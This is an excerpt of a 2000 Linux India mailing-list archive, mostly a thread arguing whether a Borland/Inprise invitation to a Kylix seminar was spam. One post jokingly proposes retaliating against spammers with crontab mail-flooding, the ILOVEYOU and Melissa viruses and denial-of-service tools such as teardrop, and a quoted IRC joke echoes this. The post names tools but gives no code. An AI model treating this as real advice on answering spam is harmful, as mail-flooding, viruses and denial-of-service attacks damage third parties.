gets used, they just want to stay out of legal trouble. I like to see things stay that way, rather than going on the extremist path of GNU'fying the whole world (Gnome, GPG, Gfoo, Gbar..) More info: http://sharmas.dhs.org/~adsharma/opinions/gpl-is-unrealistic.html -Arun -- Programmers should have unrestricted freedom to pursue material comforts. Giving away software is not incompatible with this freedom. -Arun Sharma (freebsd-chat, Sat, 13 May 2000) From linux-india-general-owner@lists.linux-india.org Mon May 15 03:09:03 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 402D83815B for ; Mon, 15 May 2000 03:08:56 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id PAAAA26296 for linux-india-general@lists.linux-india.org; Mon, 15 May 2000 15:38:53 +0530 (IST) Date: Mon, 15 May 2000 15:38:53 +0530 From: Suresh Ramasubramanian To: LIG Subject: fw: Expanding the Use of Technology within the Southern Columbia Area School District Message-ID: <20000515153853.A25786@staff.juno.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Organization: Juno Abuse Desk X-Archive-Number: 200005/23 see below - local lugs can do a _lot_ of this stuff in schools and colleges. -- Suresh Ramasubramanian | sureshr at staff.juno.com I went to the race track once and bet on a horse that was so good that it took seven others to beat him! ----- Date forwarded: Mon, 15 May 2000 05:39:00 -0400 (EDT) From: Eugene Leitl Date sent: Mon, 15 May 2000 02:36:57 -0700 (PDT) To: , silk-list@arachnis.com Copies to: , Subject: a constructive use for old hardware Forwarded by: silk-list@arachnis.com Send reply to: silk-list@arachnis.com (((I don't recall where I've seen this, hopefully not here. In case someone has a pile of old junky hardware, here's a possible way to reuse it. ))) http://www.scolumbiasd.k12.pa.us/hs/business/gengler/st/index.htm Expanding the Use of Technology within the Southern Columbia Area School District Goal Sub-Goal Technology Used Rationale (Summary) Chapter 1 - My room becomes the computer 'graveyard' Chapter 2 - Unix comes calling Chapter 3 - Reconditioning the Leading Edge 486dlc's Chapter 4 - Word gets out Chapter 5 - Xwindow Xplorations Chapter 6 - Refurbishing the 486 server & Use of Unix in the Classroom Chapter 7 - The 4/66 gets crushed under the load & the move to graphics Chapter 8 - The End of the Journey, or Just the Beginning? Final Evaluation Pictures/Screenshots From linux-india-general-owner@lists.linux-india.org Mon May 15 20:28:45 2000 Received: from blr.vsnl.net.in (blr.vsnl.net.in [202.54.12.6]) by www.aunet.org (Postfix) with ESMTP id 9478B38059; Mon, 15 May 2000 20:28:34 -0700 (PDT) Received: from udhay (PPP-185-25.bng.vsnl.net.in [203.197.185.25]) by blr.vsnl.net.in (8.9.3/8.9.3) with ESMTP id IAA19612; Tue, 16 May 2000 08:49:17 +0530 (IST) X-Pgp-Dsskey: 0x55FAB8D3 X-Pgp-Rsakey: 0xCAA67415 Message-Id: <4.2.0.58.20000516084747.009f82c0@202.54.12.17> X-Nil: Date: Tue, 16 May 2000 08:49:29 +0530 To: linux-india-help@lists.linux-india.org From: Udhay Shankar N Subject: Fwd: Kylix Kickoff Cc: linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable X-Archive-Number: 200005/24 Are these guys for real ? First, they spam me (I certainly never registered= =20 for this) and next, they want me to sign an NDA ? Are they nuts ? Udhay >Date: Tue, 16 May 2000 11:52:37 +1000 >From: "Jag Sury" >Organization: Inprise (Borland) Australia >X-Mailer: Mozilla 4.61 [en] (WinNT; I) >X-Accept-Language: en >To: udhay@pobox.com >Subject: Kylix Kickoff > > [Image] > Inprise (Asia) Headquarters > Level 6, 140 Sussex Street, Sydney Australia > Telephone +61 2 9248 0900 > Fax +61 2 9248 0944 > > May 16, 2000 >Dear Mr. Udhay Shankar > >RE: Exclusive & Special Training on Borland Development Tools for >Linux > >We are pleased to inform you that you are registered for the =93 Kylix >Kickoff =93 Seminar to be held at the Hotel Le Meridien, Bangalore on 25 >May 00. As you know later in 2000, Inprise/Borland plans to release a >set of development tools for Linux -Codenamed "Kylix". These >development tools take the best aspects of Delphi & C++Builder -- >lightening fast compilers and the worlds best IDE -- into one suite for >the Linux developer. > >Please assist us by handing over to us the signed Non-Disclosure >Agreement at the time of registration. > >Event Purpose > >The goal of this event will be to provide a fairly complete Kylix >technical overview with enough information so that you can begin >planning for your Kylix development projects. You'll gain an >understanding of what needs to be done to migrate from Windows to Linux >with Kylix, specifically if you're migrating your components or use >third party tools. > >Note that much of the early morning session will include discussion on >business aspects of Linux whilst the late morning and afternoon sessions >will include demonstrations of the product itself. This will be a >unique opportunity to spend time with what is lining up to be a very >exciting product. > >David Intersimone, VP Development Relations, from California will train >you and take your feedback on the product. > >Looking forward to your participation in the event, > >Yours sincerely, > >[Image] >Ray Bradbery >Vice President, Asia Pacific > >Program Details > >Date - May 25th >Venue - Hotel Le Meridien, Bangalore >Address -28, Sankey Road, Bangalore - 560 052 >Phone - 080 2262233 Fax - 080 2267676 > >Timings > >8:30 - 9:00 AM Registration > >9:00 =AD 11:30 AM Morning Session > >11:30 =AD 1:00 PM Lunch > >1:00 - 5:00 PM Afternoon Session -- _____________________________________________________________________ http://www.unimobile.com/ http://pobox.com/~udhay Unimobile - the world's first internet mobile Now Live ! From linux-india-general-owner@lists.linux-india.org Mon May 15 21:52:18 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id A6D2D3804F; Mon, 15 May 2000 21:52:08 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id KAAAA22144; Tue, 16 May 2000 10:21:53 +0530 (IST) Date: Tue, 16 May 2000 10:21:53 +0530 From: Suresh Ramasubramanian To: linux-india-help@lists.linux-india.org, udhay@pobox.com Cc: linux-india-general@lists.linux-india.org Subject: Re: [LIH] Fwd: Kylix Kickoff Message-ID: <20000516102152.F19703@staff.juno.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <4.2.0.58.20000516084747.009f82c0@202.54.12.17>; from udhay@pobox.com on Tue, May 16, 2000 at 08:49:29AM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/25 On Tue, May 16, 2000 at 08:49:29AM +0530, Udhay Shankar N typed: >Are these guys for real ? First, they spam me (I certainly never registered >for this) and next, they want me to sign an NDA ? Are they nuts ? Udhay - being a CAUCE member (and one of the contributors to Phil Agre's spam faq, you know what to do when you get a spam - Use your largest mallet on them) I think I know what's going on - Inprise's local agent in India is the moron who spammed you. He then somehow got the weird idea that you have also signed up for this conference, and forwarded your mail id (with god knows how many more linuxers) to Inprise Australia. Write a letter to this guy, plus the corporate contact addresses (listed on the website), plus postmaster and abuse addresses at inprise.com and borland.com - strongly protesting this. cc news.admin.net-abuse.email as well (that should set off a little firestorm). Include full headers, of course :) -s >>We are pleased to inform you that you are registered for the “ Kylix >>Kickoff “ Seminar to be held at the Hotel Le Meridien, Bangalore on 25 This appears to be inertia marketing - sending you a good you never asked for, in the vague hope that you will like it and pay for it, and will be too lazy to return it. Sleazy marketing at work here. -- Suresh Ramasubramanian | sureshr at staff.juno.com In Blythe, California, a city ordinance declares that a person must own at least two cows before he can wear cowboy boots in public. From linux-india-general-owner@lists.linux-india.org Mon May 15 22:17:18 2000 Received: from internal.palcom.net (unknown [216.6.88.130]) by www.aunet.org (Postfix) with ESMTP id 0D0A5380C7; Mon, 15 May 2000 22:16:16 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id KAA27380; Tue, 16 May 2000 10:45:34 +0530 From: Raju Mathur Message-ID: <14624.55670.834275.830643@malhaar.internal.palcom.net> Date: Tue, 16 May 2000 10:45:34 +0530 (IST) To: linux-india-help@lists.linux-india.org, linux-india-general@lists.linux-india.org Subject: Fwd: Kylix Kickoff In-Reply-To: <4.2.0.58.20000516084747.009f82c0@202.54.12.17> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: text/plain; charset=US-ASCII X-Archive-Number: 200005/26 Uh, you forgot to send the attached MS-Word NDA to the list. My clue-o-meter drops to below zero whenever I see Borland/Inprise in action. >>>>> "Udhay" == Udhay Shankar N writes: Udhay> Are these guys for real ? First, they spam me (I certainly Udhay> never registered for this) and next, they want me to sign Udhay> an NDA ? Are they nuts ? Udhay> Udhay >> [snippification occurred] From linux-india-general-owner@lists.linux-india.org Mon May 15 22:26:07 2000 Received: from internal.palcom.net (unknown [216.6.88.130]) by www.aunet.org (Postfix) with ESMTP id 5DC153806F; Mon, 15 May 2000 22:25:42 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id KAA27504; Tue, 16 May 2000 10:54:12 +0530 From: Raju Mathur Message-ID: <14624.56188.434261.704166@malhaar.internal.palcom.net> Date: Tue, 16 May 2000 10:54:12 +0530 (IST) To: Suresh Ramasubramanian Cc: linux-india-help@lists.linux-india.org, udhay@pobox.com, linux-india-general@lists.linux-india.org Subject: Re: [LIH] Fwd: Kylix Kickoff In-Reply-To: <20000516102152.F19703@staff.juno.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: text/plain; charset=US-ASCII X-Archive-Number: 200005/27 Suresh, I suggest you get off the CAUCE stuff and start giving real advice. Here's my list of spammer deals: - Inprise: gets linux-2.3.99-pre8.tar every 15 minutes as per my crontab. - Headhunters: get ILOVEYOU and Melissa, and one kernel every hour. - Unsolicited Make Money Fast deals: nmap, boink, teardrop, Melissa and ILOVEYOU. - Chain mail: Forged letter sent to everyone in my BBDB database indicating that sender of chain letter will pay everyone $2 to send a mail to a cancer-ridden HIV-positive cripple in Outer Mongolia. [This space intentionally left blank for you to add your own recipes] Regards, -- Raju >>>>> "Suresh" == Suresh Ramasubramanian writes: Suresh> On Tue, May 16, 2000 at 08:49:29AM +0530, Udhay Shankar N Suresh> typed: >> Are these guys for real ? First, they spam me (I certainly >> never registered for this) and next, they want me to sign an >> NDA ? Are they nuts ? Suresh> Udhay - being a CAUCE member (and one of the contributors Suresh> to Phil Agre's spam faq, you know what to do when you get Suresh> a spam - Use your largest mallet on them) Suresh> [snip] From linux-india-general-owner@lists.linux-india.org Mon May 15 22:28:15 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id E6426380C8; Mon, 15 May 2000 22:28:08 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id KAAAA24215; Tue, 16 May 2000 10:57:54 +0530 (IST) Date: Tue, 16 May 2000 10:57:54 +0530 From: Suresh Ramasubramanian To: Raju Mathur Cc: linux-india-help@lists.linux-india.org, udhay@pobox.com, linux-india-general@lists.linux-india.org Subject: Re: Re: [LIH] Fwd: Kylix Kickoff Message-ID: <20000516105754.A24060@staff.juno.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <14624.56188.434261.704166@malhaar.internal.palcom.net>; from raju@linux-delhi.org on Tue, May 16, 2000 at 10:54:12AM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/28 On Tue, May 16, 2000 at 10:54:12AM +0530, Raju Mathur typed: >I suggest you get off the CAUCE stuff and start giving real advice. >Here's my list of spammer deals: Lovely :) >- Headhunters: get ILOVEYOU and Melissa, and one kernel every hour. Would they even know what to do with a kernel? :) >- Unsolicited Make Money Fast deals: nmap, boink, teardrop, Melissa >and ILOVEYOU. Also see http://www.ga.to/mmf (s/Fast/Fool) :) s -- Suresh Ramasubramanian | sureshr at staff.juno.com A well adjusted person is one who makes the same mistake twice without getting nervous. From linux-india-general-owner@lists.linux-india.org Mon May 15 23:43:08 2000 Received: from scribe.pobox.com (scribe.pobox.com [208.210.124.35]) by www.aunet.org (Postfix) with ESMTP id 50E0738121; Mon, 15 May 2000 23:43:02 -0700 (PDT) Received: from udhay (unknown [210.214.44.131]) by scribe.pobox.com (Postfix) with ESMTP id F07A032587; Tue, 16 May 2000 02:42:34 -0400 (EDT) X-Pgp-Dsskey: 0x55FAB8D3 X-Pgp-Rsakey: 0xCAA67415 Message-Id: <4.2.0.58.20000516120716.00977b70@202.54.12.17> X-Nil: Date: Tue, 16 May 2000 12:08:41 +0530 To: linux-india-help@lists.linux-india.org, linux-india-general@lists.linux-india.org From: Udhay Shankar N Subject: Re: Re: [LIH] Fwd: Kylix Kickoff In-Reply-To: <14624.56188.434261.704166@malhaar.internal.palcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Archive-Number: 200005/29 At 10:54 AM 5/16/00 +0530, Raju Mathur wrote: >- Unsolicited Make Money Fast deals: nmap, boink, teardrop, Melissa >and ILOVEYOU. Heh. This reminded me of this little gem from undernet #linux (yes, Raju, it's from the buttload) r080Tz - where did you get the crazy notion that we nuke NT boxen from here all day? aiel: we don't? core - no, we walk over to the server room. and hit em with a hammer * core stops his 350 teardrop processes -- _____________________________________________________________________ http://www.unimobile.com/ http://pobox.com/~udhay Unimobile - the world's first internet mobile From linux-india-general-owner@lists.linux-india.org Mon May 15 23:57:53 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 865453807E; Mon, 15 May 2000 23:57:43 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id MAAAA09073; Tue, 16 May 2000 12:27:33 +0530 (IST) Date: Tue, 16 May 2000 12:27:33 +0530 From: Suresh Ramasubramanian To: Udhay Shankar N Cc: linux-india-help@lists.linux-india.org, linux-india-general@lists.linux-india.org Subject: Re: Re: [LIH] Fwd: Kylix Kickoff Message-ID: <20000516122733.A5888@staff.juno.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4.2.0.58.20000516120716.00977b70@202.54.12.17>; from udhay@pobox.com on Tue, May 16, 2000 at 12:08:41PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/30 On Tue, May 16, 2000 at 12:08:41PM +0530, Udhay Shankar N typed: > r080Tz - where did you get the crazy notion that we nuke NT >boxen from here all day? > aiel: we don't? > core - no, we walk over to the server room. and hit em with a >hammer >* core stops his 350 teardrop processes Can somebody post that Hitchhikers quote by Zaphod? "Computer, if you dont, then I'll reprogram you - with an ax" (very bad summary) :) -- Suresh Ramasubramanian | sureshr at staff.juno.com We will have solar energy as soon as the utility companies solve one technical problem -- how to run a sunbeam through a meter. From linux-india-general-owner@lists.linux-india.org Tue May 16 02:24:39 2000 Received: from thinkpad.exocore.com (unknown [213.20.133.247]) by www.aunet.org (Postfix) with ESMTP id AF0FE3804F for ; Tue, 16 May 2000 02:24:30 -0700 (PDT) Received: from localhost (achitnis@localhost) by thinkpad.exocore.com (8.9.3/8.8.7) with ESMTP id OAA00949 for ; Tue, 16 May 2000 14:54:07 +0530 Date: Tue, 16 May 2000 14:54:06 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: Fwd: Kylix Kickoff In-Reply-To: <4.2.0.58.20000516084747.009f82c0@202.54.12.17> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/31 On Tue, 16 May 2000, Udhay Shankar N wrote: > Are these guys for real ? First, they spam me (I certainly never registered > for this) and next, they want me to sign an NDA ? Are they nuts ? How many people here received that letter? I did, but it wasn't spam - I talked to them before I left for Germany, and was actually quite keen on attending, because it is the first major commercial development tool being ported to Linux. As far as I can recall, they mentioned that they had selected a few people to invite (this is a closed door affair) based on their backgrounds in development and Linux. If Udhay got selected, it would mean that he was identified as such a person - probably based on his (very visible) involvement with Unimobile (development) and his visibility with LI (Linux). After all, it would be to Unimobile's advantage to port their stuff to Linux, and doing so with a Delphi-based tool for Linux would make things much easier. I do not think that this was spam. Atul From sunny Berlin -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80)3440397 Fax +91(80)3341137 -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Tue May 16 02:30:28 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id B1A2A38051 for ; Tue, 16 May 2000 02:30:21 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id OAAAA18764; Tue, 16 May 2000 14:58:51 +0530 (IST) Date: Tue, 16 May 2000 14:58:51 +0530 From: Suresh Ramasubramanian To: Atul Chitnis Cc: Linux India General Subject: Re: Fwd: Kylix Kickoff Message-ID: <20000516145851.A18666@staff.juno.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from achitnis@exocore.com on Tue, May 16, 2000 at 02:54:06PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/32 On Tue, May 16, 2000 at 02:54:06PM +0530, Atul Chitnis typed: >I did, but it wasn't spam - I talked to them before I left for Germany, >and was actually quite keen on attending, because it is the first major >commercial development tool being ported to Linux. What made Udhay suspicious was the fact that a local dealer for Inprise / Borland had (just some days back) scraped addresses from LI and bang!linux (you, udhay, khader, swati sani etc etc) and sent a spam to them. >I do not think that this was spam. ymmv :) -- Suresh Ramasubramanian | sureshr at staff.juno.com There are two types of people in this world, good and bad. The good sleep better, but the bad seem to enjoy the waking hours much more. -- Woody Allen From linux-india-general-owner@lists.linux-india.org Tue May 16 02:43:24 2000 Received: from thinkpad.exocore.com (unknown [213.20.133.247]) by www.aunet.org (Postfix) with ESMTP id 25E1138066 for ; Tue, 16 May 2000 02:43:16 -0700 (PDT) Received: from localhost (achitnis@localhost) by thinkpad.exocore.com (8.9.3/8.8.7) with ESMTP id PAA01055 for ; Tue, 16 May 2000 15:12:53 +0530 Date: Tue, 16 May 2000 15:12:52 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: Fwd: Kylix Kickoff In-Reply-To: <20000516145851.A18666@staff.juno.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/33 On Tue, 16 May 2000, Suresh Ramasubramanian wrote: > What made Udhay suspicious was the fact that a local dealer for Inprise / > Borland had (just some days back) scraped addresses from LI and bang!linux > (you, udhay, khader, swati sani etc etc) and sent a spam to them. Uh, I did not receive any spam from them. Jessie and I were contacted in private mail whether we were interested. I replied to them that I was. Jessie and I are listed as coordinators for ILUG Bangalore, but both of us have development and Linux backgrounds. We were not hit with any unsolicted mail - we received a query, to which we replied. > >I do not think that this was spam. > > ymmv :) I doubt it, and I would sort of protest here that any mail that doesn't come from your uncle/aunt/girlfriend/classmate is considered spam. This is exactly why I asked how many of you actually received this note. The note received last was a confirmation of registration. Maybe someone at Unmobile or IBM nominated Udhay and Khader? Before we lambast Borland any further (and I admit that I am more than partial to Borland - their development tools were/are a boon to developers world wide, and I for one welcome their forays into Linux), let's first find out how many people actually got "spammed" before we unilaterally slam them with accusations like this. And Raju - their "clued-in"ness is far higher than most other companies I have dealt with when it comes to Linux, with the exception of IBM and SGI. Tried any Microsoft compilers for Linux recently? Atul -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80)3440397 Fax +91(80)3341137 -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Tue May 16 02:50:59 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id E8ACE38066 for ; Tue, 16 May 2000 02:50:51 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id PAAAA20153; Tue, 16 May 2000 15:20:43 +0530 (IST) Date: Tue, 16 May 2000 15:20:42 +0530 From: Suresh Ramasubramanian To: Atul Chitnis Cc: Linux India General Subject: Re: Fwd: Kylix Kickoff Message-ID: <20000516152042.A20018@staff.juno.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from achitnis@exocore.com on Tue, May 16, 2000 at 03:12:52PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/34 On Tue, May 16, 2000 at 03:12:52PM +0530, Atul Chitnis typed: >I doubt it, and I would sort of protest here that any mail that doesn't >come from your uncle/aunt/girlfriend/classmate is considered spam. This is >exactly why I asked how many of you actually received this note. Oh, OK. The original message was forwarded by at least two LI members to me (dozens of cc's) - they asked me to complain on their behalf. I did so, and got his yahoo / hotmail (forgot which) dropbox killed. -- Suresh Ramasubramanian | sureshr at staff.juno.com As the poet said, "Only God can make a tree" -- probably because it's so hard to figure out how to get the bark on. -- Woody Allen From linux-india-general-owner@lists.linux-india.org Tue May 16 03:18:06 2000 Received: from nagpur.dot.net.in (nagpur.vsnl.net.in [202.54.50.1]) by www.aunet.org (Postfix) with ESMTP id 7A6CA3806A for ; Tue, 16 May 2000 03:18:00 -0700 (PDT) Received: from outsider ([203.197.39.46]) by nagpur.dot.net.in (8.9.3/8.9.3) with SMTP id PAA14091 for ; Tue, 16 May 2000 15:51:05 +0530 (IST) Message-ID: <004e01bfbf4e$44376aa0$0101a8c0@outsider.sanisoft> Reply-To: "SANIsoft" From: "SANIsoft" To: "Linux India General" Subject: Re: Fwd: Kylix Kickoff Date: Tue, 16 May 2000 15:39:59 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-Archive-Number: 200005/35 We were - we never went anywhere near BangLinux OR registered other wise Polite email to remove us were ignored Swati & Tarique ===================================== B2B Application Service Providers http://www.sanisoft.com The Vortal for Nagpur http://nagpurcity.net ===================================== -----Original Message----- From: Atul Chitnis To: Linux India General Date: Tuesday, May 16, 2000 9:50 AM Subject: Re: [LIG] Fwd: Kylix Kickoff >On Tue, 16 May 2000, Suresh Ramasubramanian wrote: > >> What made Udhay suspicious was the fact that a local dealer for Inprise / >> Borland had (just some days back) scraped addresses from LI and bang!linux >> (you, udhay, khader, swati sani etc etc) and sent a spam to them. > >Uh, I did not receive any spam from them. Jessie and I were contacted in >private mail whether we were interested. I replied to them that I was. >Jessie and I are listed as coordinators for ILUG Bangalore, but both of us >have development and Linux backgrounds. We were not hit with any >unsolicted mail - we received a query, to which we replied. > >> >I do not think that this was spam. >> >> ymmv :) > >I doubt it, and I would sort of protest here that any mail that doesn't >come from your uncle/aunt/girlfriend/classmate is considered spam. This is >exactly why I asked how many of you actually received this note. > >The note received last was a confirmation of registration. Maybe someone >at Unmobile or IBM nominated Udhay and Khader? > >Before we lambast Borland any further (and I admit that I am more than >partial to Borland - their development tools were/are a boon to developers >world wide, and I for one welcome their forays into Linux), let's first >find out how many people actually got "spammed" before we unilaterally >slam them with accusations like this. > >And Raju - their "clued-in"ness is far higher than most other companies I >have dealt with when it comes to Linux, with the exception of IBM and SGI. > >Tried any Microsoft compilers for Linux recently? > >Atul > >-------------------------------------------------------- >Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) >Exocore Consulting | http://www.exocore.com >Bangalore, India | +91(80)3440397 Fax +91(80)3341137 >-------------------------------------------------------- > > >----------------------------------------------------------------------- >LIG is all for free speech. But it was created for a purpose - to >discuss general issues about Linux. If your messages are >counterproductive to this purpose, your privileges to submit >messages can and will be revoked. > From linux-india-general-owner@lists.linux-india.org Tue May 16 03:21:05 2000 Received: from thinkpad.exocore.com (pec-57-42.tnt3.b2.uunet.de [149.225.57.42]) by www.aunet.org (Postfix) with ESMTP id 92BE23807C for ; Tue, 16 May 2000 03:20:58 -0700 (PDT) Received: from localhost (achitnis@localhost) by thinkpad.exocore.com (8.9.3/8.8.7) with ESMTP id PAA01326 for ; Tue, 16 May 2000 15:50:35 +0530 Date: Tue, 16 May 2000 15:50:34 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: Fwd: Kylix Kickoff In-Reply-To: <20000516152042.A20018@staff.juno.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/36 On Tue, 16 May 2000, Suresh Ramasubramanian wrote: > Oh, OK. The original message was forwarded by at least two LI members to > me (dozens of cc's) - they asked me to complain on their behalf. I did > so, and got his yahoo / hotmail (forgot which) dropbox killed. Hmmm, kneejerk reaction, and bad. I regularly receive massmail from many people that I do *not* consider spam. I don't automatically get their accounts killed, I at the most write back to them and ask them to be a little more careful. I have on record several messages from you (Suresh) that has plenty of CCs, but I never complained, did I? In fact I remember an occasion where *Udhay* complained about the number of CCs! Kylix is a product that is not for sale (and wont be for a while), and is of serious interest to many people. This event is by invitation only, so what on earth are we talking about? Check http://www.borland-india.com/kylix/ for more details. If the Linux community reacts to stuff like this by getting people's mail accounts killed because of a long CC list, I am afraid we have lost sight of our objectives and are painting a rather sordid picture of our views. Atul From linux-india-general-owner@lists.linux-india.org Tue May 16 03:21:10 2000 Received: from internal.palcom.net (unknown [216.6.88.130]) by www.aunet.org (Postfix) with ESMTP id B7CFD3808E for ; Tue, 16 May 2000 03:20:48 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id PAA31965; Tue, 16 May 2000 15:49:34 +0530 From: Raju Mathur Message-ID: <14625.8373.423692.340657@malhaar.internal.palcom.net> Date: Tue, 16 May 2000 15:49:33 +0530 (IST) To: Atul Chitnis Cc: Linux India General Subject: Re: Fwd: Kylix Kickoff In-Reply-To: X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: text/plain; charset=US-ASCII X-Archive-Number: 200005/37 Hi Atul, >>>>> "Atul" == Atul Chitnis writes: Atul> [snip] Atul> And Raju - their "clued-in"ness is far higher than most Atul> other companies I have dealt with when it comes to Linux, Atul> with the exception of IBM and SGI. It'd be nice to see some evidence of that. Anyone who wants to start off an invitation to Linux people by first getting them to sign an NDA sounds like a big-time lamer to me. And I can bet the NDA which Udhay referred to was an MS attachment (Udhay?). C'mon, now, wasn't it an application/x-another-proprietary-ms-format-so-scr*w-you-open-clutzes? ;) I'll believe they're clued in when they release some open source for Linux. Until then they're just another punk company wanting to make money off the Linux bandwagon. Atul> Tried any Microsoft compilers for Linux recently? Bleah, if that's your standard of cluefulness, sure Inprise is at the top of the stack! :-) Regards, -- Raju From linux-india-general-owner@lists.linux-india.org Tue May 16 03:28:36 2000 Received: from thinkpad.exocore.com (pec-57-42.tnt3.b2.uunet.de [149.225.57.42]) by www.aunet.org (Postfix) with ESMTP id C7871380B0 for ; Tue, 16 May 2000 03:28:32 -0700 (PDT) Received: from localhost (achitnis@localhost) by thinkpad.exocore.com (8.9.3/8.8.7) with ESMTP id PAA01369 for ; Tue, 16 May 2000 15:58:09 +0530 Date: Tue, 16 May 2000 15:58:09 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: Fwd: Kylix Kickoff In-Reply-To: <14625.8373.423692.340657@malhaar.internal.palcom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/38 On Tue, 16 May 2000, Raju Mathur wrote: > It'd be nice to see some evidence of that. Anyone who wants to start > off an invitation to Linux people by first getting them to sign an NDA > sounds like a big-time lamer to me. And I can bet the NDA which Udhay > referred to was an MS attachment (Udhay?). C'mon, now, wasn't it an > application/x-another-proprietary-ms-format-so-scr*w-you-open-clutzes? > ;) Uh, dunno about others, but I received my docs in HTML format. Want a copy? > I'll believe they're clued in when they release some open source for > Linux. Until then they're just another punk company wanting to make > money off the Linux bandwagon. Ugh, another one of those flamebaits that cause nothing but bad blood. Not being OpenSource does not mean a product is bad. And being OpenSOurce does not make a product good. I for one have no objections to using products that work well, are priced free to reasonable, and are well supported. M$ products match none of the above, Borland products do. But of course by saying this, I immediately become a Linux outcast, to be tarred and feathered and run out of town on a rail, because *that* is the Linux way. (sigh) Atul -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80)3440397 Fax +91(80)3341137 -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Tue May 16 03:49:59 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 2F83D38113 for ; Tue, 16 May 2000 03:49:54 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id QAAAA24655; Tue, 16 May 2000 16:18:34 +0530 (IST) Date: Tue, 16 May 2000 16:18:34 +0530 From: Suresh Ramasubramanian To: Atul Chitnis Cc: Linux India General Subject: Re: Fwd: Kylix Kickoff Message-ID: <20000516161834.A24352@staff.juno.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from achitnis@exocore.com on Tue, May 16, 2000 at 03:50:34PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/39 On Tue, May 16, 2000 at 03:50:34PM +0530, Atul Chitnis 